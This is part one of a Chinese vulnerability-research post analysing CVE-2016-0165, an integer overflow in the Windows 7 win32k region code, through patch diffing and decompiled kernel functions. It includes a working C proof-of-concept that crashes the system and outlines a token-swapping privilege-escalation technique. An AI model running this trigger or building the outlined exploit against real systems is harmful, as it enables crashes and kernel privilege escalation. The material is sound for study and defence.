作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/32.html
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
本文分为三篇:
从 CVE-2016-0165 说起:分析、利用和检测(上)
从 CVE-2016-0165 说起:分析、利用和检测(中)
从 CVE-2016-0165 说起:分析、利用和检测(下)
CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate
函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。
本分析中利用该特性,通过内核内存布局的设计以及内核对象的构造,使 win32k!RGNMEMOBJ::vCreate
函数分配的固定大小的内存块被安置在某一内存页的末尾位置,其下一内存页由我们之前分配的垫片对象和位图对象填充。在 win32k!RGNMEMOBJ::vCreate
函数接下来调用 vConstructGET
函数期间,溢出访问发生在可控的内存区域和范围,下一内存页中我们所分配的垫片和位图对象将被溢出覆盖,其中的数据被破坏。根据精心布局的内存结构,位图对象的 sizlBitmap.cy
成员正好被覆盖成了 0xFFFFFFFF
数值,这将使该位图对象拥有完整内存空间访问的能力。
然而由于该位图对象的 pvScan0
成员值未被覆盖,所以该对象读写内存数据时,只能从自身所关联的位图数据区域首地址作为访问的起始地址。而由于提前精心布局的内存结构,该位图对象下一内存页中对应的位置仍旧存储由我们分配的位图对象,通过当前位图对象作为管理对象,以整内存页读写的方式,对其下一内存页中的位图对象的 pvScan0
成员的值进行修改,使其指向我们想要读写访问的内存地址,将下一位图对象作为扩展对象,然后操作扩展对象对指定的内存区域进行读写访问,以指哪、打哪两步走操作的方式,实现任意内核内存地址读写的能力。
利用实现的任意内核内存地址读写的能力,通过定位 System
进程的 EPROCESS
对象地址和当前进程的 EPROCESS
对象地址,以 Token
指针替换的方式实现内核提权的目的。
在本分析中,将对该漏洞的逻辑、触发机理、利用对策等进行由浅入深的探索,并将探究本分析中所涉及到的系统函数在内核中是如何关联在一起的。为减小文章数据占用空间,因此将大部分 IDA 和 WinDBG 分析调试的代码数据截图以代码清单的方式呈现。
本次分析涉及或间接涉及到的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。
CVE-2016-0165 是 win32k
内核模块中 GDI 子系统的一个典型的整数向上溢出漏洞。整数向上溢出漏洞通常的特征是:当某个特定的整数变量的数值接近其整数类型的上限、而代码逻辑致使未进行适当的溢出校验就对该变量的值继续增加时,将导致发生整数溢出,使该变量数值的高位丢失,变成远小于其本应成为的数值;如果该变量将作为缓冲区大小或数组的元素个数,继而将使依赖该缓冲区大小或数组元素个数变量的后续代码发生诸如缓冲区溢出、越界访问等问题。
漏洞位置
漏洞发生在 win32k!RGNMEMOBJ::vCreate
函数中,该函数是 RGNMEMOBJ
内存对象类的成员函数,用于依据路径 PATH
对象对当前 RGNMEMOBJ
对象所关联的区域 REGION
对象进行初始化。通过补丁比对,发现以下主要不同的地方:
if ( 0x28 * (v6 + 1) )
{
v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
v7 = a4;
P = v12;
}
else
{
P = 0;
}
清单 1-1 补丁前
if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
&& ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
{
P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
if ( P )
{
v6 = a4;
NumberOfBytes = 1;
...
}
...
}
清单 1-2 补丁后
函数中有一处 ExAllocatePoolWithTag
调用,用来分配在构造 REGION
时容纳中间数据的临时缓冲区,并在函数返回之前调用 ExFreePoolWithTag
释放前面分配的缓冲区内存。
补丁在 RGNMEMOBJ::vCreate
函数中调用 ExAllocatePoolWithTag
分配内存之前,增加了 ULongAdd
和 ULongLongToULong
两个函数调用。函数 ULongAdd
用来将参数 1 和参数 2 相加并将值放置于参数 3 指针指向的 ULONG
类型变量中;函数 ULongLongToULong
用于将 ULONGLONG
类型的参数 1 转换为 ULONG
类型数值并放置在参数 2 指针指向的变量中。这两个函数在调用时如果发现运算的数值超出 ULONG
整数的范围,将会返回 ERROR_ARITHMETIC_OVERFLOW
(0x80070216
) 的错误码,所以通常被调用来防止发生整数溢出的问题。在该漏洞所在函数中,补丁增加这两个调用则用来防止 ExAllocatePoolWithTag
的参数 SIZE_T NumberOfBytes
发生整数溢出。
除去防止整数溢出的作用外,上面的“补丁后”代码片段增加的两个函数调用计算结果等同于:
NumberOfBytes = 0x28 * (NumberOfBytes + 1);
对比补丁前后的代码片段可知两者含义基本相同,均是用来指示 ExAllocatePoolWithTag
函数调用分配用以存储“特定数量”+1 个 0x28
单位大小元素的内存缓冲区。这个“特定数量”的数值来自于参数 a2
指向的 EPATHOBJ+4
字节偏移的域:
v6 = *((_DWORD *)a2 + 1);
v38 = v6;
if ( v6 < 2 )
return;
清单 1-3 函数 RGNMEMOBJ::vCreate 对 v6 进行赋值
位于 EPATHOBJ+4
字节偏移的域是定义为 ULONG cCurves
的成员变量,用于定义当前 EPATHOBJ
用户对象的曲线数目。
调用 ExAllocatePoolWithTag
函数分配内存缓冲区后,在随后的代码逻辑中,缓冲区地址的指针将被作为第 3 个参数传入 vConstructGET
函数调用。
v24 = (struct EDGE *)P;
*(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
*(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
v25 = *(_DWORD *)v5 + 0x20;
*(_DWORD *)(v25 + 4) = v25;
*(_DWORD *)v25 = v25;
vConstructGET(a2, (struct EDGE *)&v30, v24, a4);
清单 1-4 内存地址的指针作为第 3 个参数传入 vConstructGET 函数
vConstructGET
函数 vConstructGET
用于根据路径建立全局边表,全局边表以 Y-X 坐标序列构成。调用 vConstructGET
时将前面分配的内存指针是作为 struct EDGE *
类型的指针参数传入的。由此可见,该内存缓冲区将作为“特定数量”个单位大小为 0x28
的 struct EDGE
类型元素的数组发挥作用。查阅相关资料,在 WinNT4 源码 (fillpath.c
) 中发现 EDGE
数据结构的相关定义:
// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
PVOID pNext; //<[00,04]
INT iScansLeft; //<[04,04]
INT X; //<[08,04]
INT Y; //<[0C,04]
INT iErrorTerm; //<[10,04]
INT iErrorAdjustUp; //<[14,04]
INT iErrorAdjustDown; //<[18,04]
INT iXWhole; //<[1C,04]
INT iXDirection; //<[20,04]
INT iWindingDirection; //<[24,04]
} EDGE, *PEDGE;
清单 1-5 结构体 EDGE 的定义
结构体 EDGE
用于描述将要填充的路径中的单个非水平(不与 Y 轴平行的)边。在 32 位环境下,该结构体的大小是 0x28
字节。
在函数 vConstructGET
中循环调用 AddEdgeToGET
函数,将路径中通过两点描述的边依次添加到全局边表中。
for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
{
pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
if ( *((_BYTE *)ppr + 8) & 1 )
{
pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
}
for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
pptfx < pptfxEnd;
pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
pptfxPrev = pptfx;
}
if ( *((_BYTE *)ppr + 8) & 2 )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
pptfxPrev = 0;
}
}
清单 1-6 函数 vConstructGET 代码片段
其中,函数 vConstructGET
的第 3 个参数 struct EDGE *pFreeEdges
即前面分配的内存缓冲区指针,调用 AddEdgeToGET
时 pFreeEdges
作为参数 a2
传入。在依次调用的 AddEdgeToGET
函数中,将通过两点描述的边添加到全局边表中,并将相关数据写入当前 a2
参数指向的 EDGE
结构体元素,最后将下一个 EDGE
元素地址作为返回值返回:
*(_DWORD *)pFreeEdge = v24;
*(_DWORD *)v23 = pFreeEdge;
return (struct EDGE *)((char *)pFreeEdge + 0x28);
清单 1-7 函数 AddEdgeToGET 将 pFreeEdges 数组下一个元素地址作为返回值
如果前面分配内存时分配大小满足了溢出条件,那么将会分配远小于所期望长度的内存缓冲区,但存储于数据结构中的数组元素个数仍是原来期望的数值,在循环调用 AddEdgeToGET
函数逐个操作 pFreeEdges
数组元素时,由于进行了大量的写入操作,将会造成缓冲区访问越界覆盖其他数据,发生不可预料的问题,从而导致系统 BSOD
的触发。
为了复现漏洞,需要找一条通往 RGNMEMOBJ::vCreate
中漏洞关键位置的调用路径。在 win32k
中有很多函数都会调用 RGNMEMOBJ::vCreate
函数。
图 2-1 RGNMEMOBJ::vCreate 的引用列表
在前面的章节已知,漏洞触发关键变量 v6
来源于 RGNMEMOBJ::vCreate
函数的 EPATHOBJ *a2
参数。通过在引用列表中逐项比对之后决定选取 NtGdiPathToRegion
函数作为调用接口。
NtGdiPathToRegion
函数 NtGdiPathToRegion
用于根据被选择在 DC
对象中的路径 PATH
对象创建区域 REGION
对象,生成的区域将使用设备坐标,唯一的参数 HDC a1
是指向某个设备上下文 DC
对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH
中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标 DC
对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll
中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。
DCOBJ::DCOBJ(&v9, a1);
...
XEPATHOBJ::XEPATHOBJ(&v7, &v9);
if ( v8 ) // *(PPATH *)((_DWORD *)&v7 + 2)
{
v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
v11 = 0;
RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
if ( v10 )
{
v5 = HmgInsertObject(v10, 0, 4);
if ( !v5 )
RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
}
else
{
v5 = 0;
}
...
}
清单 2-1 函数 NtGdiPathToRegion 中调用 RGNMEMOBJ::vCreate 函数
在函数中位于栈上的用户对象 XEPATHOBJ v7
的地址被作为第 2 个参数传递给 RGNMEMOBJ::vCreate
函数调用。XEPATHOBJ v7
在其自身的带参构造函数 XEPATHOBJ::XEPATHOBJ
中依据用户对象 DCOBJ v9
进行初始化,而稍早时 DCOBJ v9
在 DCOBJ::DCOBJ
构造函数中依据 NtGdiPathToRegion
函数的唯一参数 HDC a1
句柄进行初始化。
构造函数
构造函数 XEPATHOBJ::XEPATHOBJ
接受 XDCOBJ *a2
作为参数。函数中对成员域 cCurves
也进行了赋值:
EPATHOBJ::EPATHOBJ(this);
...
v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v3;
if ( v3 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
*((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
}
清单 2-2 对成员 cCurves 进行赋值
构造函数中通过调用 HmgShareLock
函数并传入 HPATH
句柄和 PATH_TYPE
(7
) 类型对句柄指向的 PATH
对象增加共享计数并返回对象指针,返回的指针被存储在 this
的第 3 个成员变量中(即父类 EPATHOBJ
中的 PPATH ppath
成员),以使当前 XEPATHOBJ
对象成为目标 PATH
对象的用户对象。传入 HmgShareLock
函数调用的参数 1 句柄来源于构造函数的参数 XDCOBJ *a2
。XDCOBJ
类中第 1 个成员变量 PDC pdc
是指向当前 XDCOBJ
用户对象所代表的设备上下文 DC
对象的指针。此处获取 a2
对象的成员变量 pdc
指向 DC
对象中存储的 HPATH
句柄,作为 HmgShareLock
函数调用的句柄参数。
位于 PATH+0x44
字节偏移的也是一个名为 ULONG cCurves
的域,该域的值赋值给 this
的第 2 个成员变量(即 cCurves
成员变量)。
构造函数 DCOBJ::DCOBJ
的执行就相对简单的多,其中仅根据句柄参数 HDC a2
获取该句柄指向的设备上下文 DC
对象指针并存储在 this
的第 1 个成员变量中(即 PDC pdc
成员),以使当前 DCOBJ
对象成为目标 DC
对象的用户对象。
据此可推断,漏洞关键位置 ExAllocatePoolWithTag
的内存分配大小参数可以通过参数 HDC a1
句柄作为接口进行控制。
调用路径
在用户态进程中,通过 gdi32.dll
中的 HRGN PathToRegion(HDC hdc)
函数可直接调用 NtGdiPathToRegion
系统调用。通过 gdi32!PathToRegion
调用将会实现如下的调用路径:
图 2-2 从 PathToRegion 到 ExAllocatePoolWithTag 调用路径
接下来要想办法使上述调用路径能够使漏洞关键位置成功达成漏洞触发条件,即满足 ExAllocatePoolWithTag
分配缓冲区大小的整数溢出条件,使 ExAllocatePoolWithTag
最终分配远小于应该分配大小的缓冲区。
PolylineTo
gdi32.dll
模块中存在 PolylineTo
导出函数,用于向 HDC hdc
句柄指向的 DC
对象中绘制一条或多条直线。该函数最终将直接调用 NtGdiPolyPolyDraw
系统调用:
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
int v4; // eax@4
int v5; // edi@4
int v6; // edi@9
if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
{
if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
return 0;
v4 = pldcGet(hdc);
v5 = v4;
if ( !v4 )
{
GdiSetLastError(6);
return 0;
}
if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
return 0;
if ( *(_BYTE *)(v5 + 4) & 0x20 )
vSAPCallback(v5);
v6 = *(_DWORD *)(v5 + 4);
if ( v6 & 0x10000 )
return 0;
if ( v6 & 0x100 )
StartPage(hdc);
}
return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
清单 3-1 函数 PolylineTo 代码
函数 NtGdiPolyPolyDraw
用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt
用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1
;第 5 个参数 iFunc
用于指定绘制图形类型,设置为 4
表示绘制直线。
函数 NtGdiPolyPolyDraw
中规定调用时的线条总数目(包括绘制多个多边形或折线时每个图形的边的总数总计)不能大于 0x4E2000
数值,否则将直接返回调用失败:
cpt = 0;
for ( i = 0; i < ccpt; ++i )
cpt += *((_DWORD *)pulCounts + i);
if ( cpt > 0x4E2000 )
goto LABEL_56;
清单 3-2 函数 NtGdiPolyPolyDraw 规定线条总数目限制
根据第 5 个参数的值将进入不同的绘制例程:
switch ( iFunc )
{
case 1:
ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 2:
ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 3:
ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
break;
case 4:
ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
break;
case 5:
ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
break;
default:
if ( iFunc != 6 )
{
v18 = 0;
goto LABEL_47;
}
ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
break;
}
清单 3-3 函数 NtGdiPolyPolyDraw 根据第 5 个参数的值调用绘制例程
在 PolylineTo
函数中调用时由于这两个参数被分别指定为 1
和 4
数值,那么在 NtGdiPolyPolyDraw
中将会进入调用 GrePolylineTo
函数的分支。传入 GrePolylineTo
函数调用的第 3 个参数 ulCount
是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo
函数传入的 cpt
变量(见清单 3-1 所示)。
关键在于 GrePolylineTo
函数中,该函数首先根据 HDC a1
参数初始化 DCOBJ v12
用户对象,此处与上一章节中的初始化逻辑相同;接下来定义了 PATHSTACKOBJ v13
用户对象。PATHSTACKOBJ
是 EPATHOBJ
用户对象类的子类,具体定义在开始章节中有相关介绍。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ
构造函数对 v13
对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo
执行绘制操作。
EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
v8 = 1;
PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
if ( !v14 )
{
EngSetLastError(8);
LABEL_12:
PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
v6 = 0;
goto LABEL_9;
}
if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
goto LABEL_12;
v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
DC::vCurrentPosition(v12, &a2[a3 - 1], v9);
清单 3-4 函数 GrePolylineTo 的代码片段
构造函数
构造函数 PATHSTACKOBJ::PATHSTACKOBJ
具有 struct XDCOBJ *a2
和 int a3
两个外部参数。参数 a2
不解释;参数 a3
用于指示是否将目标 DC
对象的当前位置坐标点使用在 PATH
对象中。此处传递的值是 1
表示使用当前位置。
构造函数首先会根据标志位变量 v4
判断目标 DC
对象是否处于活跃状态,随后通过调用 HmgShareLock
函数获取目标 PATH
对象指针并初始化相关成员变量(与前面章节所示类似地,包括 cCurves
成员)。参数 a3
值为 1
时构造函数会获取该 DC
对象的当前位置坐标点,用以在后续的画线操作中将其作为初始坐标点。
v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
if ( v4 & 1 )
{
...
v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v6;
if ( v6 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
*((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
...
}
...
}
清单 3-5 构造函数 PATHSTACKOBJ::PATHSTACKOBJ 对成员变量的初始化
不关注构造函数中后续的其他初始化操作,回到 GrePolylineTo
函数中并关注 EPATHOBJ::bPolyLineTo
函数调用。EPATHOBJ::bPolyLineTo
执行具体的从 DC
对象的当前位置点到指定点的画线操作。如清单 3-4 所示,传入的第 4 个参数 a3
是由 NtGdiPolyPolyDraw
函数传入的线条数目 ulCount
变量;此时作为其 a4
参数的值传入 EPATHOBJ::bPolyLineTo
函数调用。
EPATHOBJ::bPolyLineTo
函数 EPATHOBJ::bPolyLineTo
通过调用 EPATHOBJ::addpoints
执行将目标的点添加到路径中的具体操作。执行成功后,将参数 a4
的值增加到成员变量 cCurves
中:
if ( *((_DWORD *)this + 2) )
{
v6 = 0;
v8 = a3;
v7 = a4;
result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
if ( result )
*((_DWORD *)this + 1) += a4;
}
清单 3-6 函数 EPATHOBJ::bPolyLineTo 增加成员变量 cCurves 的值
函数 EPATHOBJ::addpoints
主要通过调用函数 EPATHOBJ::growlastrec
和 EPATHOBJ::createrec
实现功能:
if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
EPATHOBJ::growlastrec(this, a2, a3, 0);
while ( *((_DWORD *)a3 + 1) > 0u )
{
if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
return 0;
}
清单 3-7 函数 EPATHOBJ::addpoints 代码片段
系统在 PATH
对象中通过一个或多个 PATHRECORD
记录存储一组或多组路径数据;从第 2 个开始的 PATHRECORD
记录项作为第 1 个记录项的延续。初始情况下,当前 PATH
对象并未包含任何 PATHRECORD
项,此时在调用 EPATHOBJ::addpoints
函数时会跳过 EPATHOBJ::growlastrec
调用而直接执行到 EPATHOBJ::createrec
函数。
type struct _POINTFIX {
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
struct _PATHRECORD {
struct _PATHRECORD *pprnext;
struct _PATHRECORD *pprprev;
FLONG flags;
ULONG count;
POINTFIX aptfx[2]; // at least 2 points
};
清单 3-8 PATHRECORD 结构定义
函数 EPATHOBJ::createrec
创建并初始化新的 PATHRECORD
记录项,并将其添加到 PATH
对象中。函数中会判断当前 PATH
对象是否属于初始状态,如果属于初始状态则将前置初始点数量 cPoints
变量置为 1
并随后将初始坐标点首先安置在新构造的 PATHRECORD
记录中作为最开始的坐标点,该初始坐标点稍早时在构造函数中通过目标 DC
对象的当前位置坐标点初始化;由用户传入的坐标点序列将紧随其后被逐项安置在 PATHRECORD
记录中。在处理并存储坐标点数据时,各坐标点的 X 轴和 Y 轴数值都被左移 4
位。
cPoints = *((_DWORD *)ppath + 0xD) & 1;
...
if ( cPoints )
{
ppath = *((_DWORD *)this + 2);
*((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
*((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
--maxadd;
*((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
*(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
}
else
{
ppath = *((_DWORD *)this + 2);
if ( *(_DWORD *)(ppath + 0x18) != 0 )
*(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
}
v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);
清单 3-9 函数 EPATHOBJ::createrec 将初始点安置在 PATHRECORD 坐标点序列起始位置
在安置初始坐标点的同时,函数会清除目标 PATH
对象的代表初始状态的标志位;后续再次针对当前 PATH
对象调用到 EPATHOBJ::addpoints
时,将会首先进入 EPATHOBJ::growlastrec
调用,由用户传入的坐标点序列将被优先追加到原有的 PATHRECORD
记录中;当原有的记录的坐标点缓冲区存满时,才会进入后续的 EPATHOBJ::createrec
调用,创建新的作为前一个 PATHRECORD
记录延续的记录项。
析构函数
在 EPATHOBJ::~EPATHOBJ
析构函数中会将 EPATHOBJ
对象的 cCurves
成员存储的更新后的曲线数目回置给关联的 PATH
对象中的 cCurves
域中:
ppath = ((_DWORD *)this + 2);
if ( *((_DWORD *)this + 2) )
{
*(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
*(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
}
清单 3-10 析构函数 EPATHOBJ::~EPATHOBJ 回置 cCurves 域的值
另外注意到在 EPATHSTACKOBJ::~EPATHSTACKOBJ
析构函数中也存在类似的回置逻辑,但其需判断当前 EPATHSTACKOBJ
对象是否属于 PATHTYPE_STACK
类型,在本分析所涉及的调用中并未涉及到该类型,所以只在父类 EPATHOBJ
的析构函数中回置相关域。
调用路径
根据上面的分析可知,通过适当调用 gdi32!PolylineTo
即可增加目标 DC
对象关联的 PATH
对象中 cCurves
域的值,该值直接影响到调用漏洞所在函数 RGNMEMOBJ::vCreate
分配内存缓冲区的大小。所以通过精巧构造的 POC 应可实现漏洞的触发。从 PolylineTo
到 EPATHOBJ::bPolyLineTo
的调用路径:
图 3-1 从 PolylineTo 到 EPATHOBJ::bPolyLineTo 调用路径
根据前面章节的分析和追踪,在本章节尝试对该漏洞的机理进行验证。
在 Windows
系统中,ULONG
类型的整数最大值为 0xFFFFFFFF
,超过该范围将会发生整数向上溢出,溢出发生后仅保留计算结果的低 32
位数据,超过 32
位的数据将丢失。例如:
0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0
在本漏洞所在的现场,传入 ExAllocatePoolWithTag
的参数:
NumberOfBytes = 0x28 * (v6 + 1)
要使 NumberOfBytes
参数满足 32
位整数溢出的条件,需要满足:
0x28 * (v6 + 1) > 0xFFFFFFFF
解该不等式得到 v6 > 0x6666665
的结果。
在 RGNMEMOBJ::vCreate
函数的开始位置调用的 EPATHOBJ::vCloseAllFigure
成员函数,用来遍历 PATHRECORD
列表中的每个条目,并将所有未处于闭合状态的记录项设置为闭合状态。设置闭合状态表示将末尾的坐标点和起始坐标点相连接,所以需要同时对 cCurves
成员变量加一。
for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
{
v2 = *((_DWORD *)ppr + 2);
if ( v2 & 2 )
{
if ( !(v2 & 8) )
{
*((_DWORD *)ppr + 2) = v2 | 8;
++*((_DWORD *)this + 1);
}
}
}
清单 4-1 闭合 PATHRECORD 记录时对 cCurves 成员变量加一
形成闭合图形之后,边的数目应和顶点的数目相等;而根据前面的章节可知,在调用 EPATHOBJ::createrec
函数创建初始 PATHRECORD
记录时,将源自于设备上下文的起始坐标点作为 PATH
对象的顶点序列的最开始的坐标点,这导致执行到漏洞关键位置时,变量 v6
的值比由用户进程传入的线条数目大 1
。所以在用户进程中传递的画线数目只需大于 0x6666664
就能够满足溢出条件。但根据图 3-2 所示,传入的线条总数不能大于 0x4E2000
数值,否则将直接返回失败。所以在验证代码中可以分为多次调用。
漏洞验证逻辑如下:
图 4-1 漏洞验证逻辑
漏洞验证代码如下:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };
int main(int argc, char *argv[])
{
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
}
清单 4-2 漏洞验证代码
在清单 4-2 的代码中,我将绘制的线条数目设置为 0x6666665
,这将导致在 RGNMEMOBJ::vCreate
函数中计算分配缓冲区大小时发生整数溢出,缓冲区分配大小的数值成为 0x18
。代码编译后在目标系统中执行,由整数溢出引发的 OOB 漏洞导致的系统 BSOD 在稍等片刻之后便会触发:
图 4-2 整数溢出引发 OOB 导致系统 BSOD 触发